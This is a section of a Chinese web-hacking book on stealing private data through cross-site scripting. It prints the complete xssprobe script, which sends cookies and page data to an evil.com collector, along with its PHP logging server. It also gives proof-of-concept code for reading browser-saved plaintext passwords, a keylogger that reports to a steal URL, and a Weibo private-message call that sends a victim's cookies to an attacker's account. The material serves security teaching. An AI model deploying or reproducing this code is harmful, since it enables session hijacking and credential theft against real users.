7.2 偷取隐私数据

在进行跨站攻击的过程中,当需要偷取数据时(比如Cookies、页面隐私内容等),就要考虑通过怎样的DOM操作提取数据,然后通过怎样的请求方式将数据发送出去。我们在2.5节中说过DOM操作与请求操作,在请求操作上,如果数据很少,可以通过Image对象,如果数据很多,可通过表单自提交或跨域AJAX提交等,只要请求能发出去,数据就能偷到手。

下面介绍一些偷取数据的技巧。

7.2.1 XSS探针:xssprobe

首先介绍我们在GitHub上开源了一个小工具xssprobe,其网址为:https://github.com/evilcos/xssprobe。

1. 功能说明

在跨站渗透的过程中,我们打造了xssprobe这个小工具,通过它可以获取目标页面的通用数据,包括的数据信息如表7-1所示。

表7-1 xssprobe获取的数据类型说明

226

利用这些通用数据,有时能让我们直接获取目标用户的权限(通过Cookies利用),如果Cookies无效,至少还能得到其他有意义的数据,比如,目标用户是某CMS的管理员,那么通过location、toplocation或referer可以得到后台地址,通过其他信息则可以辅助判断目标用户的习惯。

2. 实现

我们来看看xssprobe是如何实现的,这个工具由两个文件组成:probe.js与probe.php,其中浏览器端的probe.js通过JavaScript获取表7-1中的信息并整理好,然后发给服务端的probe.php。probe.php对得到的信息进行一些安全编码操作,并存储为本地文件。下面看看详细的代码。

probe.js的代码如下:

// 获取隐私信息的服务端页面,这里需配置为自己的probe.php网址
http_server = "http://www.evil.com/xssprobe/probe.php?c=";

var info = {}; // 隐私信息字典
info.browser = function(){ // 检测浏览器类型与版本
    ua = navigator.userAgent.toLowerCase();
    var rwebkit = /(webkit)[ \/]([\w.]+)/;
    var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;
    var rmsie = /(msie) ([\w.]+)/;
    var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;
    var match = rwebkit.exec( ua ) ||
        ropera.exec( ua ) ||
        rmsie.exec( ua ) ||
        ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||
        [];
    return {name: match[1] || "", version: match[2] || "0"};
}();
info.ua = escape(navigator.userAgent);
info.lang = navigator.language;
info.referrer = document.referrer;
info.location = window.location.href;
info.toplocation = top.location.href;
info.cookie = escape(document.cookie);
info.domain = document.domain;
info.title = document.title;
info.screen = function(){ // 获取屏幕分辨率
    var c = "";
    if (self.screen) {c = screen.width+"x"+screen.height;}
    return c;
}();
info.flash = function(){ // 检测Flash的版本信息
    var f="",n=navigator;
    if (n.plugins && n.plugins.length) {
        for (var ii=0;ii<n.plugins.length;ii++) {
            if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {
               f=n.plugins[ii].description.split('Shockwave Flash ')[1];
               break;
            }
        }
    }
    else
    if (window.ActiveXObject) {
    for (var ii=10;ii>=2;ii--) {
        try {
            var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");
            if (fl) {
                f=ii + '.0';
                break;
            }
        }
        catch(e) {}
    }
 }
 return f;
}();

function json2str(o) { // 将json格式的数据转为字符串形式
    var arr = [];
    var fmt = function(s) {
        if (typeof s == 'object' && s != null) return json2str(s);
        return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s;
    }
    for (var i in o) arr.push("'" + i + "':" + fmt(o[i]));
    return '{' + arr.join(',') + '}';
}

window.onload = function(){
    var i = json2str(info);
    new Image().src = http_server + i; // 发送
}

probe.php代码如下:

<?php
@header("Content-Type:text/html;charset=utf-8");
 211 Web 前端黑客技术揭秘

function get_real_ip(){
    // 获取真实的IP
    $ip=false;
    if(!empty($_SERVER["HTTP_CLIENT_IP"]))
    {
        $ip = $_SERVER["HTTP_CLIENT_IP"];
    }
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    {
        $ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);
        if ($ip)
        {
           array_unshift($ips, $ip); $ip = FALSE;
        }
        for ($i = 0; $i < count($ips); $i++)
        {
           if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i]))
           {
           $ip = $ips[$i];
           break;
           }
        }
    }
    return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);
}

function get_user_agent(){
    // 服务端获取User-Agent
    return $_SERVER['HTTP_USER_AGENT'];
}

function get_referer(){
    // 服务端获取Referer
    return $_SERVER['HTTP_REFERER'];
}

function quotes($content){
    if(get_magic_quotes_gpc()){
        if(is_array($content)){
            foreach($content as $key=>$value){
                $content[$key] = stripslashes($value);
            }
        }else{
            $content = stripslashes($content);}
    }else{}
    return $content;
}

if (!empty($_REQUEST["c"])){
    $curtime = date("Y-m-d H:i:s");
    $ip = get_real_ip();
    $useragent = get_user_agent();
    $referer = get_referer();
    $data = $_REQUEST["c"];
    if(!file_exists("probe_data.html")){
        $fp = fopen("probe_data.html", "a+");
        fwrite($fp, '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>probe data</title><style>body{font-size:13px;}</style></head>');
        fclose($fp);
    }
    $fp = fopen("probe_data.html", "a+");
// 将得到的信息存储为本地文件probe_data.html
    fwrite($fp, "$ip | $curtime <br />UserAgent: ".htmlspecialchars(quotes ($useragent))."<br />Referer: ".htmlspecialchars(quotes($referer))."<br />DATA: ".htmlspecialchars(quotes($data))."<br /><br />");
 fclose($fp);
}

?>

信息存储文件probe_data.html的数据样例如下:

221.19.32.7 | 2011-08-22 14:36:08
UserAgent:

 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0
Referer:

 http://www.foo.com/xssprobe/demo.html
DATA:

 {'browser':{'name':'mozilla','version':'6.0'},'ua':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0','lang':'zh-CN','referrer':'http://www.foo.com/xssprobe/','location':'http://www.foo.com/xssprobe/demo.html','toplocation':'http://www.foo.com/xssprobe/demo.html','cookie':'xssprobe=1; popunder=yes; popundr=yes; setover18=1','domain':'www.foo.com','title':'xssprobe demo page<script>alert(1)</script>','screen':'1440x900','flash':'10.3 r181'}

这个过程很简单,却很有效。不过有的场景可能无法直接使用xssprobe,比如,有些黑盒的CMS系统,我们没有获取XSS漏洞,也不知道管理员后台地址是什么,此时可以诱骗管理员(通过提交留言、管理员后台查看留言等方式)访问probe.php?c=test文件地址,这时可以在probe.php中获取到IP地址、User-Agent、Referer等信息。其中,Referer信息很可能就是后台地址。

通过xssprobe得到这些通用信息后,就可以进入下一步渗透测试了。当然,跨站渗透有时是可以一步搞定目标的,具体情况要依据渗透场景进行具体分析。

7.2.2 Referer惹的祸

7.2.1节提到了Referer,本节继续重点介绍它,之前我们的一些文章也描述了Referer的风险,下面整理摘录如下。

Referer指请求来源,很多网站通过这个来判断用户是从哪个页面/网站过来的。Referer是公开的,故不可在Referer中存在与身份认证或者其他隐私相关的信息,但很多网站设计之初没考虑到Referer的风险性,从而导致出现了安全问题,有些可能现在没问题,但是以后随着业务的发展,网站功能增多,安全问题就会出现。

下面列举几个使用场景。

1. 手机浏览器上的Web世界

比如,人人网3g网站曾经存在的身份认证缺陷,3g.renren.com的认证是采用URL后带“认证token”方式进行的,攻击者可以使用几种途径获取认证token,比如,发一篇文章,文章中通过<img>标签嵌入xssprobe的probe.php?c=test文件,诱导被攻击者访问这篇文章,被攻击者的Referer就会被记录下来,认证token也就泄漏了。

2. 一些网银

比如,某网银就是将身份认证信息直接嵌入URL中那个所谓的sid号,只要能获取到这个sid号,就等于获得了网银的权限,获取sid号有几种方式,其中有一种是Referer泄漏(由于网银不存在用户交互的问题,Referer泄漏不容易,除非以后有这样的可能性,不过通过劫持网银的其他子域,也能得到这个Referer)。

还有一些其他场景(如上一节说的Web黑盒渗透)。Web厂商需要注意Referer泄漏隐私的风险,可以考虑如下方式来进行Referer的保护:

<a href="http://www.evil.com/" rel="noreferrer">noreferrer!</a>

7.2.3 浏览器记住的明文密码

这个技巧算是比较新的技巧,2010年时,各浏览器开始逐渐加入“记住密码”的功能(这些浏览器包括Firefox、Chrome、IE、Opera、Safari等),记住密码不同于老方式“记住登录状态”。“记住登录状态”主要是设置了持久型的Cookie,这和浏览器没关系,而是Web服务自己设置的。其实在有“记住密码”功能之前,浏览器还做了一件类似的事,就是记住表单内容。与记住表单内容相比,记住密码更危险,因为通过DOM操作就能获取其中的密码,而且是明文。

现在主流的浏览器都加入了这个功能,以uchome为例进行说明,如图7-1所示。当单击“登录”按钮时,浏览器会提示记住密码,如图7-2至图7-4所示。

234-1

图7-1 uchome登录

235-1

图7-2 IE浏览器记住密码

235-2

图7-3 Firefox浏览器记住密码

235-3

图7-4 Chrome浏览器记住密码

很多用户为了方便下次直接登录而不输入用户名和密码,就会选择记住。这样明文密码就被浏览器保存在当前域下,此时跨域是不能获取到这个明文密码的,那么怎样才能获取这些密码呢?

下面来看看怎么进行DOM操作来获得明文密码。

当包含密码表单项的网页被加载渲染后,浏览器就会开始将记住的明文密码填充进对应的密码表单项,由于是密码表单项,我们肉眼看到的会是一串星号,而直接查看网页源码将什么都看不到,因为这是一个动态填充的过程。由于DOM操作本身就可以是一个动态的过程,我们只要在密码表单项被渲染且浏览器填充好明文密码后执行DOM操作获取密码表单项的值即可。下面开始构造出我们的POC。

针对IE浏览器的POC代码如下:

get_pwd = function () { /*获取明文密码*/
    var e = document.createElement("input");
    e.name = e.type = e.id = "password";
    document.getElementsByTagName("head")[0].appendChild(e);// 往head添加就隐藏了
    setTimeout(function () {
        alert("i can see ur pwd: " + document.getElementById("password"). value);
    }, 2000); // 时间竞争
}

从这个POC可以看出,只要动态创建一个type="password",并且name和id值与目标密码表单项一致就行,然后就是一个时间竞争,延时2秒是假设从页面被加载到浏览器完成了明文密码填充的时间。

不过这个POC在其他浏览器下就无效了,浏览器不填充,为什么?因为还需要满足一些条件才行,来看看Firefox下的POC代码:

get_pwd = function () { /*获取明文密码*/
    var f = document.createElement("form");
    document.getElementsByTagName("head")[0].appendChild(f);
    var e1 = document.createElement("input");
    e1.type = "text";
    e1.name = e1.id = "username";
    f.appendChild(e1);
    var e = document.createElement("input");
    e.name = e.type = e.id = "password";
    f.appendChild(e);
    setTimeout(function () {
        alert("i can see ur pwd: " + document.getElementById("password"). value);
    }, 2000); // 时间竞争
}

可以看到,必须先创建一个form对象才行,否则这些浏览器会认为不合法,这个POC在Chrome中同样有效,但是Safari下又有一点不一样,只要将form对象添加到body标签中就可以,如果添加到head标签,Safari不会填充明文密码,而且Safari默认是不开启记住密码功能的。

POC出来后,就可以在XSS利用中使用该POC获取用户的明文密码,由于不同的Web环境下的密码表单项不太一样,此时只要修改相关的表单项值就行。

这方面还有更多深入的研究,可以参考我们在Ph4nt0m Webzine 0x06里的文章《XSS Hack:获取浏览器记住的明文密码》。

7.2.4 键盘记录器

键盘记录器实际上用处并不大,还不如劫持表单项的各种事件方便,比如,表单项的onchange、onblur、onclick等,当发现这些事件后,就将表单项里的值取到,而且键盘记录仅在全英文(ASCII)输入情况下有效,在输入时,存在中文输入框,是记录不了击键事件的。下列代码说明的是浏览器兼容性比较好的键盘记录器,如果真的要更完美,需要融入表单项等事件监听机制。

var steal_url = "http://www.evil.com/xss/steal.php?data="; // 键盘记录发送地址
var keystring = "";//键盘记录的字符串

function keypress(e){ // onkeypress时的操作
    var currKey=0,CapsLock=0,e=e||event;
    currKey=e.keyCode||e.which||e.charCode;
    CapsLock=currKey>=65&&currKey<=90;
    switch(currKey)
    {
       case 8: case 9:case 13:case 32:case 38:case 39:case 46:keyName = "";break;
       default:keyName = String.fromCharCode(currKey); break;
    }
    keystring += keyName;
}

function keydown(e){ // onkeydown时的操作
    var e=e||event;
    var currKey=e.keyCode||e.which||e.charCode;
    if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
    {
       switch(currKey){
          case 8: keyName = "[LF]"; break;
          case 9: keyName = "[TAB]"; break;
          case 13:keyName = "[CR]"; break;
          case 32:keyName = "[SPACE]"; break;
          case 33:keyName = "[PageUp]"; break;
          case 34:keyName = "[PageDown]"; break;
          case 35:keyName = "[End]"; break;
          case 36:keyName = "[Home]"; break;
          case 37:keyName = "[LEFT]"; break;
          case 38:keyName = "[UP]"; break;
          case 39:keyName = "[RIGHT]"; break;
          case 40:keyName = "[DOWN]"; break;
          case 46:keyName = "[DEL]"; break;
          default:keyName = ""; break;
       }
       if (keyName=='[CR]'){ // 如果是回车键,则提交键盘记录
          //......省略发送请求:steal_url+keystring
       }
       keystring += keyName;
    }
}
function keyup(e){ // onkeyup时的操作
    return keystring;
}

function blur(){ // onblur时的操作,离开焦点
    // ...省略发送请求:steal_url+keystring
}

function bindEvent(o, e, fn){ // 绑定事件的通用函数
    //o 绑定的标签对象
    //e 绑定的事件
    //fn 绑定后执行的函数
    if (typeof o == "undefined" || typeof e == "undefined" || typeof fn == "undefined" || o == null){
        return false;
    }
    if (o.addEventListener){
        o.addEventListener(e, window[fn], false);
    }
    else if (o.attachEvent){  // IE
        o.attachEvent("on"+e, window[fn]);
    }
    else {
        var oldhandler = o["on"+e];
        if (oldhandler) {
            o["on"+e] = function(x){
               oldhandler(x);
               window[fn]();
            }
        }
        else {
            o["on"+e] = function(x){
               window[fn]();
            }
        }
    }
    o.focus();
}

o=document; // 要监听的对象可以是整个document或某个表单项
bindEvent(o,'keypress',"keypress");
bindEvent(o,'keydown',"keydown");
bindEvent(o,'keyup',"keyup");
bindEvent(o,'blur',"blur");

7.2.5 偷取黑客隐私的一个小技巧

如果要偷取黑客/安全人员(假设他们用Firefox+NoScript插件)的隐私数据,如果有任何第三方域的请求,估计很容易被NoScript拦截,这时用的方法是:要么绕过NoScript(不总那么容易),要么就不要提交到第三方域,提交到本域是个不错的想法,比如,像曾经百度空间的私信功能,通过简单的接口就可以直接调用,一个GET请求就将数据存储到指定的账号私信里。还有一个更普遍的方法,现在很多网站都用JavaScript封装了烦琐的操作,比如,仅需要一个简单的函数就能提交目标请求,如新浪微博提交私信的一种简洁方式:

STK.core.io.ajax({method:'POST',url:'http://www.weibo.com/aj/message/add',args:{text:document.cookie.substr(0,300),screen_name:'%E5%BE%B7%E5%88%A9%E5%BE%97%E7%91%9F%E7%9A%84%E4%BA%91%E4%BA%91'}})

格式化说明下:

STK.core.io.ajax({
    method: 'POST', // POST请求
    url: 'http://www.weibo.com/aj/message/add', // 发送私信的地址
    args: { // POST参数
        text: document.cookie.substr(0, 300), // 消息内容长度不允许超过300字符
        screen_name: '%E5%BE%B7%E5%88%A9%E5%BE%97%E7%91%9F%E7%9A%84%E4%BA%91%E4%BA%91' // 发送到的目标账号
    }
})

如果这样做,等目标黑客发现后就来不及了。